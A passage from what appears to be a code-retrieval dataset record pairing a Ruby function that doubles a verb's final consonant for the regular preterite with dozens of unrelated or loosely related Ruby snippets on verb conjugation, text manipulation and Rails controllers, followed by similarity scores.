\"#{verb}o\"\n\t\twhen /^(.*[^s])s$/i\n\t\t\tverb = $1\n\t\t\tself.log.debug \" it's a standard third-person verb (%p + (^s)s -> -s)\" % [ verb ]\n\t\t\treturn verb\n\n\t\t# Otherwise, a regular verb (handle elsewhere)\n\t\telse\n\t\t\tself.log.debug \" nope. Either a regular verb or not a verb.\"\n\t\t\treturn nil\n\t\tend\n\tend", "def passive_voice_subjunctive_mood_perfect_tense\n counter = -1\n TenseBlock.new(Linguistics::Latin::Verb::LatinVerb::PASS_PERF_SUBJUNCTIVE_ENDINGS.map do |ending|\n counter += 1\n (counter <=2 ?\n \"[ #{triplicate_and_genderize passive_perfect_participle} ]\" :\n \"[ #{pluralize_participial_listing(triplicate_and_genderize(passive_perfect_participle))} ]\" )+ \" \" + ending\n end,\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:passive_voice_subjunctive_mood_perfect_tense] }\n )\n end", "def verb; end", "def verb; end", "def verb; end", "def verb; end", "def verb; end", "def active_voice_subjunctive_mood_perfect_tense\n asp_base =\n first_person_perfect[0..first_person_perfect.length-2] +\n \"erī\"\n TenseBlock.new(\n ['m', Linguistics::Latin::Verb::LatinVerb::AP_FIRST_AND_SECOND_CONJUG_PERS_ENDINGS].flatten!.map do |ending|\n asp_base + ending\n end,\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:active_voice_subjunctive_mood_perfect_tense] }\n )\n end", "def conjugate_in_the_present_subjunctive(pronoun, verb)\n verb_ending, root = get_verb_ending_and_root(verb)\n if verb_ending == 'ar'\n root + %W[e es e emos éis en][pronoun_index(pronoun)]\n else # er and ir are the same\n root + %W[a as a amos áis an][pronoun_index(pronoun)]\n end\n end", "def present_third_person_singular_form_for(verb)\n infinitive = verb.is_a?(Verb) ? verb.infinitive.to_s : verb.to_s\n\n case infinitive\n when /[a-z&&#{CONSONANT_PATTERN}]y$/i\n \"#{infinitive[0..-2]}ies\"\n when /(ss|sh|t?ch|zz|x|#{CONSONANT_PATTERN}o)$/i\n \"#{infinitive}es\"\n when /[^s]s$/i\n \"#{infinitive}ses\"\n else\n \"#{infinitive}s\"\n end\n end", "def active_voice_subjunctive_mood_imperfect_tense\n TenseBlock.new(\n ['m', Linguistics::Latin::Verb::LatinVerb::AP_FIRST_AND_SECOND_CONJUG_PERS_ENDINGS].flatten!.map do |ending|\n present_active_infinitive.sub(/e$/,'ē') + ending\n end,\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:active_voice_subjunctive_mood_imperfect_tense] }\n )\n end", "def past_participle(infinitive)\n if (verb = conjugations.irregulars[infinitive])\n conjugate_irregular(verb, tense: :past, derivative: :participle)\n else\n regular_preterite_for infinitive\n end\n end", "def active_voice_indicative_mood_pastperfect_tense# {{{\n substem = first_person_perfect[0..-2]\n return TenseBlock.new [Linguistics::Latin::Verb::LatinVerb::APERF_PAST_ENDINGS.collect{|x| substem+x}].flatten,\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:active_voice_indicative_mood_pastperfect_tense] }\n end", "def yodawg(noun, verb=nil)\n\tif !verb\n\t\tverb=noun\n\tend\n\t\"Yo dawg, I heard you liked #{noun.en.plural}, so I put #{noun.en.a} in your #{noun} so you can #{verb} while you #{verb}!\"\nend", "def define_verb(verb)\n @mod.define_singleton_method(verb.to_sym) do |*args, &block|\n class_eval \"Croesus.#{verb}\"\n end\n end", "def passive_voice_indicative_mood_perfect_tense\n TenseBlock.new(\n Linguistics::Latin::Verb::LatinVerb::PASS_PERF_PRESENT_ENDINGS.map{ |helping_verb| \"#{passive_perfect_participle} #{helping_verb}\" },\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:passive_voice_indicative_mood_perfect_tense] }\n )\n end", "def http_with_tingyun( verb )\n self._ty_http_verb = verb.to_s.upcase\n http_without_tingyun( verb )\n end", "def ingverb; end", "def plural_verb( count=2 )\n\t\tphrase = self.to_s\n\t\tmd = /\\A(\\s*)(.+?)(\\s*)\\Z/.match( phrase )\n\t\tpre, word, post = md.captures\n\n\t\treturn phrase if word.nil? or word.empty?\n\n\t\tplural = postprocess( word,\n\t\t\tpluralize_special_verb(word, count) ||\n\t\t\tpluralize_general_verb(word, count) )\n\n\t\treturn pre + plural + post\n\tend", "def verb\n words.find { |wor| wor.pos == 'VERB' }\n end", "def uppercase_http_verb(verb)\n str = verb.to_s.upcase\n str if http_verbs.include?(key_http_verb(verb))\n end", "def passive_voice_indicative_mood_futureperfect_tense# {{{\n return TenseBlock.new(\n Linguistics::Latin::Verb::LatinVerb::PASS_PERF_FUTURE_ENDINGS.map{ |helping_verb| \"#{passive_perfect_participle} #{helping_verb}\" },\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:passive_voice_indicative_mood_futureperfect_tense] }\n )\n end", "def verb(route)\n route.verb.source.gsub(/[$^]/, '')\n end", "def verb\n verb_path[0] if verb_path\n end", "def irregular(infinitive, preterite = nil, past_participle = nil, &blk)\n if block_given?\n # create new Verb object with infinitive and &blk\n irregular = ::Verbs::Verb.new infinitive, &blk\n else\n unless preterite && past_participle\n raise ArgumentError,\n 'Standard irregular verbs must specify preterite and past participle forms'\n end\n\n # create new Verb object with infinitive, preterite and past_participle\n irregular = ::Verbs::Verb.new infinitive, preterite: preterite, past_participle: past_participle\n end\n @irregulars[infinitive] = irregular\n end", "def present_participle_with_doubled_terminal_consonant_for(verb)\n if /c$/ =~ verb.to_s\n present_participle verb.to_sym\n else\n present_participle verb.to_s.concat(verb.to_s[-1, 1]).to_sym\n end\n end", "def count_verbs\n @regular_verb_count ||= self.alternation_values\n .where(alternation_occurs: 'Regularly').reduce(0) do |sum, av|\n if av.verb then sum + 1 else sum end\n end\n end", "def anatomy_past_tense; end", "def passive_voice_subjunctive_mood_present_tense\n end", "def active_voice_indicative_mood_perfect_tense# {{{\n substem = first_person_perfect[0..-2]\n return TenseBlock.new [first_person_perfect.to_s, Linguistics::Latin::Verb::LatinVerb::APERF_ENDINGS.collect{|x| substem+x.to_s}].flatten,\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:active_voice_indicative_mood_perfect_tense] }\n end", "def noun; end", "def noun; end", "def create\n @verb = Verb.new(:infinitive => verb_params[:infinitive], :translation => verb_params[:translation], :group => verb_params[:group])\n if @verb.save\n @tenses.each_with_index do |tense, index|\n @forms.each_with_index do |form, index2|\n if(verb_params[tense][form].strip != '')\n @form = Form.new(:content => verb_params[tense][form], :temp => index.to_i, :person => index2.to_i,:verb => @verb)\n @form.save\n end\n end\n end\n end\n\n respond_to do |format|\n if @verb.save\n format.html { redirect_to @verb, notice: 'Verb was successfully created.' }\n format.json { render action: 'show', status: :created, location: @verb }\n else\n format.html { render action: 'new' }\n format.json { render json: @verb.errors, status: :unprocessable_entity }\n end\n end\n end", "def active_voice_subjunctive_mood_present_tense\n return @proxyVerb.send :active_voice_subjunctive_mood_present_tense\n end", "def do_process(st)\n\n\t\teojeols = st.get_eojeols()\n\n for i in 0..(eojeols.length-1) do\n morphemes = eojeols[i].get_morphemes()\n tags = eojeols[i].get_tags()\n\n @nounMorphemes.clear\n @nounTags.clear\n\n for j in 0..(tags.length-1) do\n c = tags[i][0]\n if c == \"n\" then\n @nounMorphemes << morphemes[j]\n @nounTags << tags[j]\n elsif c == \"f\" then\n @nounMorphemes << morphemes[j]\n @nounTags << \"ncn\"\n end\n end\n\n eojeols[i].set_morphemes(@nounMorphemes)\n eojeols[i].set_tags(@nounTags)\n end\n\n st.set_eojeols(eojeols)\n\n\t\treturn st\n\tend", "def verb\r\n self.class.verb\r\n end", "def set_verb\n @verb = Verb.find(params[:id])\n end", "def present_conjugate\n\t\tif defined?(@stem)\n\t\t\t[\"ich #{@stem}e\",\n\t\t\t\"du #{@stem}st\",\n\t\t\t\"er,sie, es #{@stem}t\",\n\t\t\t\"wir #{@stem}en\",\n\t\t\t\"ihr #{@stem}t\",\n\t\t\t\"sie,Sie #{@stem}en\"]\n\t\telse\n\t\t\tputs \"Could not work with the verb: #{@infinitive}\"\n\t\tend\n\tend", "def active_voice_subjunctive_mood_present_tense\n end", "def active_voice_indicative_mood_futureperfect_tense# {{{\n substem = first_person_perfect[0..-2]\n return TenseBlock.new [Linguistics::Latin::Verb::LatinVerb::APERF_FUTURE_ENDINGS.collect{|x| substem+x}].flatten,\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:active_voice_indicative_mood_futureperfect_tense] }\n end", "def toonify(accent, sentence)\n\tif accent == \"daffy\"\n\t\tre = /s/\n\t\tsentence = sentence.replace(re,\"th\")\n\telsif accent == \"elmer\"\n\t\tre = /r/\n\t\tsentence = sentence.replace(re, \"w\")\n\telse\n\t\tput sentence\n\tend\nend", "def is_verb? m\n is_token?(m) || is_absolute_iri?(m)\n end", "def regular_ending(verb)\n verb[-2..-1]\n end", "def verbs\n pos 'VERB'\n end", "def run_reverb(chan, &environ)\n name = get_func_name(3)\n dur = samples2seconds(@ws_reverb.length)\n if @clm then dur += @decay_time end\n with_sound_info(\"reverb \" + name, 0, dur, environ)\n if @verbose\n Snd.message(\"%s on %d in and %d out channels\", name, @reverb_channels, @channels)\n end\n unless chan.kind_of?(Symbol)\n unless chan.between?(0, @reverb_channels - 1)\n Snd.raise(:out_of_range, chan, @reverb_channels, \"reverb channel is out of range\")\n end\n end\n end", "def preform\n length = @sentence.length - 1\n u = 1\n puts @sentence\n for i in (0..length) do\n u == 1 ? @sentence[i] = @sentence[i].upcase : @sentence[i] = @sentence[i].downcase\n u = u*(-1)\n end\n puts @sentence\n end", "def passive_voice_indicative_mood_future_tense\n end", "def verb_params\n @forms = [:je, :tu, :il, :nous, :vous, :ils]\n @t = [:présent => @forms, :passé_composé => @forms, :imparfait => @forms, :plus_que_parfait => @forms,\n :passé_simple => @forms, :passé_antérieur => @forms, :futur_simple => @forms, :futur_antérieur => @forms,:subjonctif_présent => @forms,\n :subjonctif_passé => @forms,:subjonctif_imparfait => @forms, :subjonctif_plus_que_parfait => @forms, :conditionnel_présent => @forms, :conditionnel_passé_première => @forms, :conditionnel_passé_deuxième => @forms]\n @par = [:infinitive, :translation, :group].concat(@t)\n params.require(:verb).permit(@par)\n end", "def consonant_cancel(sentence)\n words = sentence.split\n new_words = words.map { |word| remove_starting_consonants(word) }\n return new_words.join(\" \")\nend", "def consonant_cancel(sentence)\n\n arr = sentence.split(\" \").map do |word|\n removeConsonant(word)\n end\n return arr.join(\" \")\nend", "def to_s\n\t\t\"Verb: #{@infinitive}\"\n\tend", "def active_voice_imperative_mood_future_tense# {{{\n f = imperatives.future\n return TenseBlock.new( [ '', f[0], f[2],\n '', f[1], f[3]\n ],\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:active_voice_imperative_mood_future_tense] }\n )\n end", "def anatomy_past_tense\n fetch('creature.bird.anatomy_past_tense')\n end", "def get_verbs\n @verbs ||= self.verbs\n end", "def plural_adjective( count=2 )\n\t\tphrase = self.to_s\n\t\tmd = /\\A(\\s*)(.+?)(\\s*)\\Z/.match( phrase )\n\t\tpre, word, post = md.captures\n\n\t\treturn phrase if word.nil? or word.empty?\n\n\t\tplural = postprocess( word, pluralize_special_adjective(word, count) || word )\n\n\t\treturn pre + plural + post\n\tend", "def is_verb(token)\n _is_in(token, @verb_tags)\n end", "def verb\n [\"get\", \"post\"].include?(raw_verb) ? raw_verb : \"post\"\n end", "def applyBadConsequence(m)\n if(m.getBadConsequence.isDeath)\n discardAllTreasures\n else\n decrementLevels(m.getBadConsequence.getLevels)\n pbc=m.getBadConsequence.adjustToFitTreasureLists(@visibleTreasures, @hiddenTreasures)\n setPendingBadConsequence(pbc)\n end\n\n end", "def consonant_cancel(sentence)\n words = sentence.split(' ')\n new_words = words.map { |word| del_before_vowel(word) }\n return new_words.join(' ')\nend", "def create\n @irregular_verb = IrregularVerb.new(params[:irregular_verb])\n\n respond_to do |format|\n if @irregular_verb.save\n format.html { redirect_to @irregular_verb, notice: 'Irregular verb was successfully created.' }\n format.json { render json: @irregular_verb, status: :created, location: @irregular_verb }\n else\n format.html { render action: \"new\" }\n format.json { render json: @irregular_verb.errors, status: :unprocessable_entity }\n end\n end\n end", "def mad_lib(plural_noun, verb)\n p \"#{plural_noun} are a great way to #{verb} around town.\"\nend", "def other_http_verbs_than(*verbs)\n http_verbs - verbs.flatten.map(&:to_s).map(&:downcase).map(&:to_sym)\n end", "def single_terminal_consonant(infinitive)\n @single_terminal_consonants << infinitive\n end", "def postprocess\n @@morphs.each do |morph|\n # this does a simple replacement for character groups, so that:\n # \"(|A)\" becomes the equivalent of \"(#{Rule['A'].chars.join('|')})\"\n morph.from.gsub!(/(\\||\\&)([A-Z])/) { Rule[$2].chars.join($1 == '|' ? $1 : '') }\n morph.from = Regexp.new(morph.from)\n end\n end", "def toonify accent, sentence\n\tif accent == \"daffy\" \n\t\tsentence.gsub(/s/, \"th\")\n\telsif accent == \"elmer\" \n\t\tsentence.gsub(/r/, \"w\")\n\tend\nend", "def censor(sentence, curse_words)\n words = sentence.split(\" \")\n\n asterisked_words = words.map do |word|\n if curse_words.include?(word.downcase)\n asterisked_word(word)\n else\n word\n end\n end\n\n asterisked_words.join(\" \")\nend", "def consonant_cancel(sentence)\n \tnewSentence = \"\"\n\tsentence.split.each do |word|\n \t# puts word\n \tnewSentence = newSentence + \" \" + find_vowel(word)\n end\n \treturn newSentence\nend", "def has_verb?(verb)\n @verbs.any? { |v| v.name == verb }\n end", "def gerund_verb?\n tag == \"VBG\" && tokenized != \"being\"\n end", "def event_to_verb\n EVENT_TO_VERB[activity.event] || activity.event.upcase\n end", "def pirate_speech(sentence)\n sentence.gsub('Hello', 'Ahoy').\n gsub('hello', 'ahoy').\n gsub('Friend', 'Matey').\n gsub('friend','matey').\n gsub('Yes', 'Aye').\n gsub('yes', 'aye') + \" Arrrrr\"\nend", "def censor(tweet, list_of_phrases)\n list_of_phrases.each { |phrase| tweet.gsub! phrase, \"CENSORED\" }\n puts tweet\nend", "def toonify (accent, sentence)\n if accent == 'daffy'\n p sentence.gsub('s', 'th')\n end\nend", "def toonify(accent, sentence)\n\tif accent == \"daffy\"\n\t\tsentenceArr = sentence.split('')\n\t\tsentenceArr.map! do |word|\n\t\t\tif word == 's'\n\t\t\t\tword = 'th'\n\t\t\telse\n\t\t\t\tword = word\n\t\t\tend\n\t\tend\n\t\tp sentenceArr.join()\n\telsif accent == \"elmer\"\n\t\tsentenceArr = sentence.split('')\n\t\tsentenceArr.map! do |word|\n\t\t\tif word == 'r'\n\t\t\t\tword = 'w'\n\t\t\telse\n\t\t\t\tword = word\n\t\t\tend\n\t\tend\n\t\tp sentenceArr.join()\n\telse\n\t\tp sentence\n\tend\nend", "def get_verb_description()\n v = (self.must_insert? ? I18n.t(:must_insert, :scope => [:schedule]).upcase : '')\n v = v + \"/ \" if (v != \"\") and self.must_move?\n v = v + ( (self.must_move?) ? I18n.t(:must_move, :scope => [:schedule]).upcase : '' )\n v = v + \"/ \" if (v != \"\") and self.must_call? and (self.must_move? or self.must_insert?)\n v = v + ( (self.must_call?) ? I18n.t(:must_call, :scope => [:schedule]).upcase : '' )\n v\n end", "def selective_tweet_shortener(tweet)\nif tweet.length > 140\nword_substituter(tweet)\nelse tweet\nend\nend", "def word_substituter(tweet)\n newtweet = tweet.split \n dictionary.each do |phrase, subs|\n newtweet.map! do |word|\n if word == phrase\n word = subs\n elsif \n word == phrase.capitalize\n word = subs\n else \n word = word\n end\n end\n end \n newtweet.join(\" \")\nend", "def engtagger_lookup sentence\n nouns, verbs = tag_sentence(sentence)\n sentence.words.graph do |word|\n pos = case word\n when ->(w){ verbs.include? w }\n \"verb\"\n when ->(w){ nouns.include? w }\n \"noun\"\n else\n \"unknown\"\n end\n [word, [pos]]\n end\n end", "def applyBadConsequence(m)\n badConsequence = m.getBadConsequence\n nLevels = badConsequence.getLevels\n decrementLevels(nLevels)\n pendingBad = badConsequence.adjustToFitTreasureLists(@visibleTreasures, @hiddenTreasures)\n setPendingBadConsequence(pendingBad)\n \n end", "def active_voice_indicative_mood_future_tense\n end", "def passive_voice_indicative_mood_imperfect_tense\n end", "def selective_tweet_shortener (tweet)\n if(tweet.length > 140)\n word_substituter(tweet)\n else\n tweet\n end\n\nend", "def selective_tweet_shortener(tweet)\n if tweet.length > 140\n word_substituter(tweet)\n else\n tweet\n end\nend", "def expand(infinitive)\n return nil unless (conjugations = list_by_infinitive[infinitive])\n txt = []\n past_tenses, past_participles = conjugations\n txt << \"#{infinitive} (v)\"\n txt << past_tenses.map { |v| \"#{v} (v past)\"}\n txt << past_participles.map { |v| \"#{v} (v participle)\"}\n txt.flatten.join(\"\\n\") + \"\\n\"\n end", "def inflect(infinitive, inflection, person, plurality, mood)\n send(*[inflection, infinitive, person, plurality, mood][0, method(inflection).arity + 1])\n end", "def verb?\n !verb.nil?\n end", "def verb(n=-1)\n\t verb = \"verb\"\n\t verb.concat(\" #{n}\") if n >= 0\t \n\t @sock.cmd(\"String\" => verb , \"Match\" => /(SUCCESS:.*\\n|ERROR:.*\\n|END.*\\n)/)\n end", "def update\n respond_to do |format|\n if @verb.update(verb_params)\n format.html { redirect_to @verb, notice: 'Verb was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @verb.errors, status: :unprocessable_entity }\n end\n end\n end", "def selective_tweet_shortener(tweet)\n tweet.length > 140 ? word_substituter(tweet) : tweet\nend", "def selective_tweet_shortener(tweet)\n if tweet.length > 140\n word_substituter(tweet)\n else\n tweet\n end\nend", "def selective_tweet_shortener(tweet)\n if tweet.length > 140\n word_substituter(tweet)\n else\n tweet\n end\nend", "def selective_tweet_shortener(tweet)\n if tweet.length > 140\n word_substituter(tweet)\n else\n tweet\n end\nend", "def selective_tweet_shortener(tweet)\n if tweet.length > 140\n word_substituter(tweet)\n else\n tweet\n end\nend" ]
[ "0.6472331", "0.6230442", "0.59399843", "0.59242153", "0.5890981", "0.58609486", "0.5734238", "0.5704534", "0.5698733", "0.5698526", "0.5698526", "0.5698526", "0.5698526", "0.5698526", "0.565137", "0.56355035", "0.56106085", "0.551773", "0.5517429", "0.5471704", "0.54675835", "0.54268134", "0.53958595", "0.5362153", "0.52425796", "0.5241496", "0.5214577", "0.50900733", "0.50762963", "0.50679374", "0.5045151", "0.50326675", "0.5008592", "0.5000616", "0.49937305", "0.49682873", "0.49559188", "0.4926567", "0.4926567", "0.48897168", "0.48713204", "0.48506796", "0.4843466", "0.48343682", "0.48331082", "0.4808156", "0.47715598", "0.4697662", "0.46945018", "0.46714824", "0.46710178", "0.4662473", "0.4658035", "0.46505654", "0.46474066", "0.46357587", "0.4627796", "0.46161443", "0.46145827", "0.4602038", "0.4598983", "0.4582268", "0.45751053", "0.45722073", "0.45678568", "0.45456988", "0.45393488", "0.45389062", "0.45378575", "0.45268682", "0.45267433", "0.45265183", "0.45263088", "0.4525111", "0.45218283", "0.45203272", "0.4517982", "0.4517925", "0.4517644", "0.4517375", "0.44934282", "0.44861275", "0.4480183", "0.44756016", "0.4468116", "0.44382924", "0.4418918", "0.4418869", "0.44169205", "0.44070086", "0.44021535", "0.43987885", "0.43960795", "0.4395612", "0.43812686", "0.43803874", "0.43706134", "0.43706134", "0.43706134", "0.43706134" ]
0.6910308
0
Apply proper rules to consonant endings Params: verb, apply double consonant to this
def regular_preterite_with_doubled_terminal_consonant_for(verb) regular_preterite_for verb.to_s.concat(verb.to_s[-1, 1]).to_sym end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def present_participle_with_doubled_terminal_consonant_for(verb)\n if /c$/ =~ verb.to_s\n present_participle verb.to_sym\n else\n present_participle verb.to_s.concat(verb.to_s[-1, 1]).to_sym\n end\n end", "def regular_preterite_for(verb)\n infinitive = verb.is_a?(Verb) ? verb.infinitive.to_s : verb.to_s\n\n if verb.to_s.match(/#{CONSONANT_PATTERN}#{VOWEL_PATTERN}#{DOUBLED_CONSONANT_WITHOUT_C_PATTERN}$/) &&\n !conjugations.single_terminal_consonants.include?(verb.to_sym)\n return regular_preterite_with_doubled_terminal_consonant_for verb\n end\n\n case verb.to_s\n when /(#{CONSONANT_PATTERN}e|ye|oe|nge|ie|ee|ue)$/\n infinitive.concat('d').to_sym\n when /#{CONSONANT_PATTERN}y$/\n infinitive.gsub(/y$/, 'ied').to_sym\n when /c$/\n infinitive.gsub(/c$/, 'cked').to_sym\n else\n infinitive.concat('ed').to_sym\n end\n end", "def conjugate_in_the_present_subjunctive(pronoun, verb)\n verb_ending, root = get_verb_ending_and_root(verb)\n if verb_ending == 'ar'\n root + %W[e es e emos éis en][pronoun_index(pronoun)]\n else # er and ir are the same\n root + %W[a as a amos áis an][pronoun_index(pronoun)]\n end\n end", "def single_terminal_consonant(infinitive)\n @single_terminal_consonants << infinitive\n end", "def consonant_cancel(sentence)\n words = sentence.split\n new_words = words.map { |word| remove_starting_consonants(word) }\n return new_words.join(\" \")\nend", "def consonants # :nodoc:\n /^(y|[bcdfghjklmnprstvwxz]+|qu)/\n end", "def consonant_cancel(sentence)\r\n newSentence = []\r\n sentence.split(\" \").each do |word|\r\n newWord = word\r\n while !('aeiou'.include?(newWord[0]))\r\n newWord = newWord[1..-1]\r\n end\r\n newSentence << newWord\r\n end\r\n return newSentence.join(\" \")\r\nend", "def consonant_cancel(sentence)\n\tarry = sentence.split(\" \")\n \tfinal = []\n \tvowel = \"aeiou\"\n \tarry.each do |word|\n len = word.length\n word.each_char.with_index do |char, i|\n if vowel.include?(char)\n final << word[i..-1]\n break\n end\n end\n end\n return final.join(\" \")\nend", "def consonant_cancel(sentence)\n\n arr = sentence.split(\" \").map do |word|\n removeConsonant(word)\n end\n return arr.join(\" \")\nend", "def consonant_cancel(sentence)\n \tnewSentence = \"\"\n\tsentence.split.each do |word|\n \t# puts word\n \tnewSentence = newSentence + \" \" + find_vowel(word)\n end\n \treturn newSentence\nend", "def get_regular(verb)\n case verb\n when /(ch|s|sh|x|z)$/\n return verb + 'es'\n when /(ay|ey|oy|uy)$/\n return verb + 's'\n when /[^aeiou]y$/\n return verb[ 0..-2 ] + 'ies'\n else\n return verb + 's'\n end\n end", "def double_consonants(string)\n doubled_string = ''\n string.chars.each do |char|\n doubled_string << char\n doubled_string << char if consonant?(char.downcase)\n end\n\n doubled_string\nend", "def translate_one_consonant( s )\n\n\t\t# store the letters in an array\n\t\tch_array = s.chars\n\n\t\t# then grab the first letter from the array\n\t\tfirst_letter = ch_array.shift\n\n\t\t# put that letter at the back with push and add 'ay'\n\t\tch_array << first_letter + \"ay\"\n\n\t\t# bring it back together\n\t\tch_array.join\n\n\tend", "def translate_two_consonants( s )\n\n\t\t\t\t# store the letters in an array\n\t\t\t\tch_array = s.chars\n\n\t\t\t\t# then grab the first letter from the array\n\t\t\t\tfirst_letter = ch_array.shift\n\n\t\t\t\t# then grab the second letter from the array\n\t\t\t\tsecond_letter = ch_array.shift\n\n\t\t\t\t# put both letters at the back with push and add 'ay'\n\t\t\t\tch_array << first_letter + second_letter + \"ay\"\n\n\t\t\t\t# bring it back together\n\t\t\t ch_array.join\n\n\tend", "def consonant_cancel(sentence)\n words = sentence.split(' ')\n new_words = words.map { |word| del_before_vowel(word) }\n return new_words.join(' ')\nend", "def double_consonants(string)\n string.gsub(/([b-df-hj-np-tv-z])/i, '\\1\\1')\nend", "def double_consonants(string)\n doubled_chars = string.chars.map do |char|\n if char =~ /[A-Za-z]/ && !VOWELS.include?(char)\n char + char\n else\n char\n end\n end\n doubled_chars.join\nend", "def double_consonants(str)\n new_str = ''\n str.each_char do |char|\n if char =~ /[-!aeiou0-9' ']/i\n new_str << char\n else\n new_str << char.concat(char)\n end\n end\n new_str\nend", "def double_consonants(str)\n str.gsub(/([a-z&&[^aeiou]])/i,'\\1\\1')\nend", "def consonant_cancel(sentence)\n result = []\n arr = sentence.split(\" \")\n\n arr.each do |i|\n cancelled = []\n i.each_char.with_index do |ch, idx|\n if ch == 'a' || ch == \"e\" || ch == \"i\" || ch == \"o\" || ch == \"u\"\n cancelled << i[idx..-1]\n break\n end\n end\n result << cancelled.join\n end\n\n return result.join(\" \")\n\nend", "def consonant_cancel(sentence)\n vowel = \"aeiou\"\n new_arr = []\n sentence.split(\" \").each do |word|\n word.each_char.with_index do |char, i|\n if vowel.include?(char)\n new_word = word[i..-1]\n new_arr << new_word\n break\n end\n end\n end\n new_arr.join(\" \")\nend", "def next_consonant (last_first)\n last_first.map! do |word|\n word.gsub(/[zdhntbcfgjklmpqrsvwxy]/, 'z' => 'b', 'd' => 'f', 'h' => 'j', 'n' => 'p', 't' => 'v', 'b' => 'c', 'c' => 'd', 'f' => 'g', 'g' => 'h', 'j' => 'k', 'k' => 'l', 'l' => 'm', 'm' => 'n', 'p' => 'q', 'q' => 'r', 'r' => 's', 's' => 't', 'v' => 'w', 'w' => 'x', 'x' => 'y', 'y' => 'z')\n end\nend", "def double_consonants(str)\n result = \"\"\n str.chars.each do |ch|\n result << if ch.downcase.match?(/[a-z&&[^aeiou]]/)\n ch * 2\n else\n ch\n end\n end\n result\nend", "def double_consonants(str)\n str.chars.each_with_object('') do |c, double_str|\n if c =~ /[^(aeiouAEIOU)|\\W|\\d]/\n double_str << c * 2\n else\n double_str << c\n end\n end\nend", "def consonant?\n self != 'ㅇ' && kor.chosung?(self)\n end", "def double_consonants(str)\n\n new_string = []\n\n str.chars.each do |char|\n if ('aeiouAEIOU').include?(char) == false\n new_string << char*2 \n else \n new_string << char\n end\n end\n\n new_string.join\nend", "def double_consonants(string)\n doubled_string = ''\n string.each_char do |char|\n char.match(/[a-z&&[^aeiou]]/i) ? doubled_string << char << char : doubled_string << char\n end\n doubled_string\nend", "def double_consonants(str)\n results = \"\"\n str.each_char do |char| \n if char.downcase =~ /[a-z&&[^aeiou]]/\n results << char * 2 \n else\n results << char\n end\n end\n results\nend", "def double_consonants(str)\n str.chars.each_with_object('') do |char, new_str|\n if char =~ /[^aeiou]/ && char =~ /[A-z]/\n new_str << char * 2\n else\n new_str << char\n end\n end\nend", "def double_consonants(string)\n string.chars.inject('') do |str, char|\n char.downcase.count(\"a-z\", \"^aeiou\") > 0 ? str + char * 2 : str + char\n end\nend", "def double_consonants(string)\n output = \"\"\n single_chars = string.chars\n single_chars.each do |char|\n if char.match(/[[a-z]&&[^aeiou]]/i)\n output << char * 2\n else\n output << char \n end\n end\n output\nend", "def double_consonants(str)\n str.split(//).map { |chr| chr.match?(/[^aeiou\\d\\W]/i) ? chr + chr : chr }.join\nend", "def double_consonants(string)\n consonants = %(bcdfghjklmnpqrstvwxyz)\n string.chars.map{ |char| consonants.include?(char.downcase)? char * 2 : char}.join\nend", "def double_consonants(string)\n final = string.chars.map do |el|\n if %w[a e i o u].include?(el)\n el\n elsif ('a'..'z').include?(el.downcase)\n el * 2\n else\n el\n end\n end\n final.join\nend", "def double_consonants(string)\n new_string = ''\n string.each_char do |char|\n if char =~ /[a-z]/i && char =~ /[^aeiou]/i\n new_string << char << char\n else\n new_string << char\n end\n end\n new_string\nend", "def double_consonants(str)\nnew_str = \"\"\n\nstr.each_char do |char|\n\tif /[aeiou\\W\\d\\s]/ =~ char \n\t\tnew_str << char\n\telse\n\t\tnew_str << char << char\n\tend\nend\nnew_str\nend", "def consonant_converter(string)\r\n name_array = string\r\n consonant = ['b', 'c', 'd', 'f', 'g', 'h', 'j', 'k', 'l', 'm', 'n', 'p', 'q', 'r', 's', 't', 'v', 'w', 'x', 'y', 'z']\r\n counter = 0\r\n consonant_counter = 0\r\n# Outer loop that loops through entire name (first and last)\r\n while counter < name_array.length\r\n# Inner loop that loops through list of consonants, compares them with name, and changes consonants in name\r\n \twhile consonant_counter < consonant.length\r\n \t\tif name_array[counter] == consonant[consonant_counter]\r\n if name_array[counter] == 'z'\r\n \tname_array[counter] = 'b'\r\n break\r\n else\t\r\n \t\t name_array[counter] = consonant[consonant_counter + 1]\r\n \t\t break\r\n \t\t end\r\n \t end\r\n consonant_counter += 1\r\n end\r\n counter += 1\r\n consonant_counter = 0\r\n end \r\n new_name = name_array.join('')\r\n new_name = new_name.split(' ')\r\n new_name.map! { |word| word.capitalize! }\r\n new_name = new_name.join(' ')\r\n return new_name\r\nend", "def conjugate(infinitive, options = {})\n infinitive = infinitive.dup if infinitive.is_a?(String)\n\n # set all options according to parameter, or the default\n tense = options[:tense] || :present # present, past, future\n person = options[:person] || :third # first, second, third\n plurality = options[:plurality] || :singular # singular, plural\n diathesis = options[:diathesis] || :active # active, passive\n mood = options[:mood] || :indicative # imperative, subjunctive\n aspect = options[:aspect] || default_aspect(options) # perfective, habitual, progressive, perfect, prospective\n\n check_for_improper_constructions(infinitive, tense, person, mood, diathesis) # find incompatabilities\n form = form_for(tense, aspect, diathesis) # find form array based on tense and aspect\n\n # map form array to conjugation array, applying infinitive and options to the array\n conjugation = form.map { |e| resolve e, infinitive, tense, person, plurality, mood }.join(' ').strip\n\n if options[:subject] # When options includes a subject,\n actor = options.delete(:subject) # remove from options and make subject humanized\n actor = subject(options).humanize if actor.is_a?(TrueClass)\n end\n\n \"#{actor} #{conjugation}\".strip\n end", "def yodawg(noun, verb=nil)\n\tif !verb\n\t\tverb=noun\n\tend\n\t\"Yo dawg, I heard you liked #{noun.en.plural}, so I put #{noun.en.a} in your #{noun} so you can #{verb} while you #{verb}!\"\nend", "def double_consonants(string)\n result_string = ''\n string.each_char do |letter|\n (letter =~ /[b-df-hj-np-tv-z]/i) == 0 ? result_string << letter << letter : result_string << letter\n end\n result_string\nend", "def present_conjugate\n\t\tif defined?(@stem)\n\t\t\t[\"ich #{@stem}e\",\n\t\t\t\"du 